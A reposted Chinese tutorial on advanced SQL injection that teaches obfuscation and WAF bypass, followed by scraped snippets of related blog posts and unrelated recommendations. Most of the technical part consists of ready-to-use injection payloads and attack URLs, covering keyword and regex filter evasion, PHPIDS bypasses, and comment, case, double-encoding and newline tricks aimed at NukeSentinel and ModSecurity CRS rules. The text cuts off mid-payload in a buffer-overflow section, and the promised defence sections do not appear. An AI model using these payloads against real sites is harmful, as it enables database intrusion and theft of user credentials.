[转]高级SQL注入:混淆和绕过
#############
【0×00】 – 简介
【0×01】 – 过滤规避(Mysql)
【0x01a】 – 绕过函数和关键词的过滤
【0x01b】 – 绕过正则表达式过滤
【0×02】 – 常见绕过技术
【0×03】 – 高级绕过技术
【0x03a】 – HTTP参数污染:分离与结合
【0x03b】 – HTTP参数参杂
【0×04】 – 如何保护你的网站
【0×05】 – 总结
【0×06】 – 参考
【0×07】 – 致谢
########################
【0×01】 – 简介
########################
大家好,这是一篇致力于文档化我们所从事的高级SQL注入技术的文章。
本文将要揭示能用于现实CMSs和WAFs程序中的高级绕过技术和混淆技术。文中所提到的SQL注入语句仅仅是一些绕过保护的方法。还有一些其他的技术能用于攻击WEB程序,但是很不幸我们不能告诉你,因为它们就是0day。不论如何,本文旨在揭示现实世界中没有完全彻底的安全系统即使你在一个WAF上面花费了三十万美元。
本文分为7个章节,仅有0×01到0×03章节是介绍技术内容的。
0×01章节我们将详细介绍关于如何绕过基本的函数和关键词过滤。0×02章节我们将给出常见的绕过技术用于绕过开源和商业性的WAF。0×03章节我们将分两个小节来深入探讨高级绕过技术:“HTTP参数污染:分离和结合”和“HTTP参数参杂”。0×04章节我们将指导如何用正确的解决方案保护你的网站。在最后的0×05章节是对0×01到0×04章节的总结。
########################
【0×01】 -过滤规避(Mysql)
########################
本节将阐述基于PHP和MySQL的过滤规避行为以及如何绕过过滤。过滤规避是一种用来防止SQL注入的技术。这种技术可以用SQL函数,关键词过滤或者正则表达式完成。这就意味着过滤规避严重依赖如何储存一个黑名单或者正则表达式。如果黑名单或者正则表达式没有覆盖每一个注入情境,那么WEB程序对于SQL注入攻击来说仍旧是脆弱的。
++++++++++++++++++++++++++++++++++++++++++
【0x01a】 – 绕过函数和关键词过滤
++++++++++++++++++++++++++++++++++++++++++
函数和关键词过滤使用函数和关键词黑名单来保护WEB程序免受攻击。如果一个攻击者提交了一个包含在黑名单中的关键词或者SQL函数的注入代码,这个攻击便会失效。然而,如果攻击者能够巧妙使用其他的关键词或者函数来操作注入,那么黑名单将无法阻止攻击。为了阻止攻击大量的关键词和函数必须放到黑名单中。但是这也影响了用户,当用户想提交一个存在黑名单中的单词时,用户将无法提交,因为这个单词已被黑名单过滤。接下来的情境展示了一些使用函数和关键词过滤以及绕过技术的例子。
关键词过滤: and,or
———————————————————————————–
PHP过滤代码: preg_match(‘/(and|or)/I’,$id)
关键词and,or常被用做简单测试网站是否容易进行注入攻击。这里给出简单的绕过使用&&,||分别替换and,or。
过滤注入: 1 or 1 = 1 1 and 1 = 1
绕过注入: 1 || 1 = 1 1 && 1 = 1
————————————————————————————
关键词过滤: and,or,union
————————————————————————————
PHP过滤代码: preg_match (‘/(and|or|union)/I’,$id)
关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。
过滤注入: union select user, password from users
绕过注入: 1 || (select user from users where user_id = 1)=’admin’
** 注意:你必须知道表名,列名和一些表中的其他数据,否则你必须用别的语句从information_schema.columns中获取。
举例,使用substring函数获取表名的每一个字符。
————————————————————————————-
关键词过滤: and,or,union,where
————————————————————————————-
PHP过滤代码: preg_match(‘/(and|or|union|where)/I’,$id)
过滤注入: 1||(select user from users where user_id = 1)= ‘admin’
绕过注入: 1||( select user from users limit 1)=’admin’
————————————————————————————–
关键词过滤: and,or,union,where,limit
————————————————————————————–
PHP过滤代码: preg_match(‘/(and|or|union|where|limit)/I’,$id)
过滤注入: 1||(select user from users limit 1)=’admin’
绕过注入: 1||(select user from users group by user_id having user_id=1 )= ‘admin’
—————————————————————————————
关键词过滤: and,or,union,where,limit,group by
—————————————————————————————
PHP过滤代码: preg_match(‘/(and|or|union|where|limit|group by)/I’,$id)
过滤注入: 1||(select user from users group by user_id having user_id =1)=’admin’
绕过注入: 1||(select substr(group_concat(user_id),1,1) user from users )=1
—————————————————————————————
关键词过滤: and,or,union,where,limit,group by,select,’
—————————————————————————————
PHP过滤代码: preg_match(‘/(and|or|union|where|limit|group by|select|\’)/I’,$id
过滤注入: 1||(select substr(group_concat(usr_id),1,1)user from users =1
绕过注入: 1|| user_id is not null
绕过注入: 1||substr(user,1,1)=0×61
绕过注入: 1||substr(user,1,1)=unhex(61)
—————————————————————————————-
关键词过滤: and,or,union,where,limit,goup by,select,’,hex,
—————————————————————————————–
PHP过滤代码: preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/I’,$id)
过滤注入: 1||substr(user,1,1)=unhex(61)
绕过注入: 1||substr(user,1,1)=lower(conv(11,10,36))
——————————————————————————————
关键词过滤: and,or,union,where,limit,group by,select,’,hex,substr
——————————————————————————————-
PHP过滤代码: preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/I’,$id)
过滤注入: 1||substr(user,1,1)=lower(conv(11,10,36))
绕过注入: 1||lpad(user,7,1)
——————————————————————————————-
关键词过滤: and,or,union,where,limit,group by,select,’,hex,substr,white space
——————————————————————————————-
PHP过滤代码: preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/I’,$id)
过滤注入: 1||lpad(user,7,1)
绕过注入: 1%0b||%0blpad(user,7,1)
——————————————————————————————–
从上面的例子中我们可以看出有大量的SQL语句可以用来绕过黑名单,虽然黑名单已经包含了很多关键词和函数,此外,还有数不清的例子中没有提到的SQL语句可以用来绕过黑名单。
建立一个更大的黑名单不是一个保护你网站的好注意。记住,过滤的关键词和函数越多,对用户越不友好。
++++++++++++++++++++++++++++++++++++++++++
【0x01b】 – 绕过正则表达式过滤
++++++++++++++++++++++++++++++++++++++++++
正则表达式过滤是一个比关键词和函数过滤要好的阻止SQL注入的方法,因为它使用模式匹配来检测攻击。但是,很多正则表达式仍然能被绕过。下面以开源软件PHPIDS 0.6举例阐明用来绕过正则表达式的注入脚本。
PHPIDS通常阻止包含=,(或者’ 跟随一个字符串或者整数输入,比如1 or 1=1,1 or ’1’,1 or char(97)。但是,它能被使用不包含=,(或者’符号的语句绕过。
——————————————————————————————–
过滤注入: 1 or 1 = 1
绕过注入: 1 or 1
—————————————————————————————
---------------------------------------------------------------------------------------------
过滤注入: 1 union select 1, table_name from information_schema.tables where table_name=’users’
过滤注入: 1 union select 1,table_name from information_schema.tables where table_name between ‘a’ and ‘z’
过滤注入: 1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)
绕过注入: 1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a
绕过注入: 1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273
----------------------------------------------------------------------------------------
########################
【0x02】 - 常见绕过技术
########################
在这个章节,我们将提到关于绕过WEB应用防护系统(WAF)的技术。首先我们需要认识一下什么是WAF。
WEB应用防护系统(WAF)是一套设备,服务扩展或者过滤器,对HTTP会话应用一系列的规则。一般来说,这些规则包含了常见的攻击比如跨站脚本攻击(XSS)和SQL注入攻击。很多攻击可以通过制定符合自己程序的规则来识别和阻挡。花时间实现定制规则是有重要意义的,而且当WEB程序改变时需要维护。
WAF通常被称做“深层次数据包检测防火墙”,它们检查HTTP/HTTPS/SOAP/XML-RPC/WEB服务在内的每一个请求和相应。一些现代的WAF系统同时检查攻击特征和异常行为。
现在让我们赶紧来了解如何用混淆技术来破坏WAF吧,只要花时间去理解它的规则以及运用你的想象所有WAF都能被绕过!
用注释来绕过
SQL注释能让我们绕过许多绕过和WAF
---------------------------------------------------------
http://croot.cnblogs.com/news.php?id+un/**/ion+se/**/lect+1,2,3--
----------------------------------------------------
变换大小写
某些WAF仅过滤小写的SQL关键词
正则表达式过滤:/union\sselect/g
-----------------------------------------------------------
http://croot.cnblogs.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
------------------------------------------------------
替换关键词
某些程序和WAF用preg_replace函数来去除所有的SQL关键词。那么我们能简单的绕过。
-------------------------------------------------------------
http://croot.cnblogs.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
-------------------------------------------------------
某些情况下SQL关键词被过滤掉并且被替换成空格。因此我们用“%0b”来绕过。
-------------------------------------------------------------
http://croot.cnblogs.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
--------------------------------------------------------
对于Mod_rewrite,注释“/**/”不能绕过,那么我们用“%0b”代替“/**/”。
被禁止的:http://croot.cnblogs.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
绕过:http://croot.cnblogs.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
字符编码
大多CMS和WAF将对程序的输入进行解码和过滤,但是某些WAF仅对输入解码一次,那么双重加密就能绕过某些过滤,这时WAF对输入进行一次解码并过滤与此同时程序继续解码且执行SQL语句。
---------------------------------------------------------------
http://croot.cnblogs.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
----------------------------------------------------------
此外,这些技术结合起来可以绕过Citrix NetScaler
-去除所有“NULL”字符
-在某些部分使用查询编码
-去除单引号字符“’”
-爽去吧!
归功于:Wendel Guglielmetti Henrique 和 Armorlogic Profense 较早的通过URL编码换行符绕过2.4.4
#现实例子
NukeSentinel (Nuke Evolution)
------------------------------------------------------------
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
-------------------------------------------------------------------------
我们能利用下面脚本绕过它的过滤:
禁止: http://croot.cnblogs.com/php-nuke/?/**/union/**/select?..
绕过: http://croot.cnblogs.com/php-nuke/?/%2A%2A/union/%2A%2A/select?
绕过: http://croot.cnblogs.com/php-nuke/?%2f**%2funion%2f**%2fselect
Mod Security CRS (归功于:Johanners Dahse)
------------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* ”\bunion\b.{1,100}?\bselect\b” \ “phase2,rev:’2.2.1’,capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}" [End Rule]-----------------------------------------------------------------------------
我们可以利用下面代码绕过它的过滤:
-----------------------------------------------------------------------------------
http://croot.cnblogs.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
------------------------------------------------------------------------------
从这个攻击,我们可以绕过Mod Security。让我们看看发生了什么!!
MySQL Server支持3中注释风格:
-从#字符开始到这一行的末尾
-从--序列开始到这一行的末尾
-从/*序列到下一个*/之间,如同C语言
此语法能够使注释延伸到多行,因为开始序列和闭合序列不必在同一行。
下面的例子我们用“%0D%0A”作为换行符。让我们看看第一个请求(获取DB 用户)。SQL数据的结果看起来类似如下:
0 div 1 union #foo*/*/bar
select#foo
1,2,current_user
然而当SQL数据被MySQL DB执行的时候类似如下:
0 div 1 union select 1,2,current_user
缓冲区溢出
用C语言写的WAF有溢出的倾向或者在装载一串数据时表现异常。
给出一大串数据使我们的代码执行
--------------------------------------------------------------------
http://croot.cnblogs.com/news.php?id=1+and+(select 1)=(select 0x
[转]高级SQL注入:混淆和绕过的更多相关文章
- SQL注入9种绕过WAF方法
SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...
- 高级sql注入
1. 避开输入过滤 输入过滤存在于外部和内部,外部属于web应用防火墙WAF,入侵防御系统IPS,入侵检测系统IDS,内部属于代码中对输入进行过滤 过滤select,insert等sql关键字和' | ...
- ModSecurity SQL注入攻击 – 深度绕过技术挑战
ModSecurity是一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecuri ...
- sql注入里关键字绕过的发现
网上大量文章,甚至<黑客攻防技术实战宝典-WEB实战篇>里面都说一些关键字如 select 等绕过可以用注释符/**/. 例如: select,union.可以用 ,se/**/lect, ...
- SQL注入原理及绕过安全狗
1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...
- [SQL注入] 逗号拦截绕过
在SQL注入时,在确定了注入点后,一般都需要使用联合查询猜表的列数,也就是常见的order by n,n从大到小,直到返回正常,就确定了当前查询的列的个数. 然后再使用 UNION SELECT 1, ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 绕过阿里云waf进行SQL注入
做个笔记吧,某SQL注入点的绕过,有阿里云waf的. 首先遇到是个搜索框的注入点: 演示下: 针对搜索框,我们的sql语句一般是怎么写的? 本地演示:select * from product whe ...
随机推荐
- IDEA中Git的使用
工作中多人使用版本控制软件协作开发,常见的应用场景归纳如下: 假设小组中有两个人,组长小张,组员小袁 场景一:小张创建项目并提交到远程Git仓库 场景二:小袁从远程Git仓库上获取项目源码 场景三:小 ...
- 利用QrCode.Net生成二维码 asp.net mvc c#
利用QrCode.Net生成二维码 asp.net mvc c# 里面介绍了.net的方式及js的方式,还不错. 里面用到的qrcode.net的类库下载地址:https://qrcodenet.co ...
- hive指定hadoop执行队列
指定队列的命令: 有三种: set mapred.job.queue.name=queue3; SET mapreduce.job.queuename=queue3; set mapred.queue ...
- Docker学习笔记2: Docker 概述
一.什么是Docker Docker是基于Go语言实现的云开源项目. Docker 的主要目标是:"Bulid,Ship and Run Any App ,AnyWhere" , ...
- Hadoop就业面试题
----------------------------------------------------------------------------- [申明:资料来源于互联网] 本文链接:htt ...
- Mac状态栏wifi图标一直闪烁重复连接但是网络正常的解决办法
本猫的系统是EI(10.11.6),不知从哪个版本开始(至少是升级到EI之后),状态栏上的wifi图标一直闪烁,这应该是表示正在连接网络.但是网络是正常的! 虽说闪烁的wifi图标不影响使用,但是有强 ...
- [转]django-registration quickstart
Basic configuration and use--------------------------- Once installed, you can add django-registrati ...
- EBS多组织结构
1. 业务组: 它代表组织结构的最高层次, 它分离了人力资源的信息. 例如, 当你查询人员时, 它会列出所有分配给相应业务组的成员, 而你自己所属于的组织只不过是业务组的一份子. 这样说可能造成一种误 ...
- 学习Android路上的一些感慨和总结,慢慢来,比较快!
学习Android路上的一些感慨和总结,慢慢来,比较快! 一直想对自己的学习路程做一个总结,来告别某一个阶段的过去,迎接某一个阶段的来临,一直抽不出时间来,于是零零散散的写了点-,到现在,也已经积攒了 ...
- iOS集合视图单元格高亮和选中的区别
大熊猫猪·侯佩原创或翻译作品.欢迎转载,转载请注明出处. 如果觉得写的不好请多提意见,如果觉得不错请多多支持点赞.谢谢! hopy ;) 免责申明:本博客提供的所有翻译文章原稿均来自互联网,仅供学习交 ...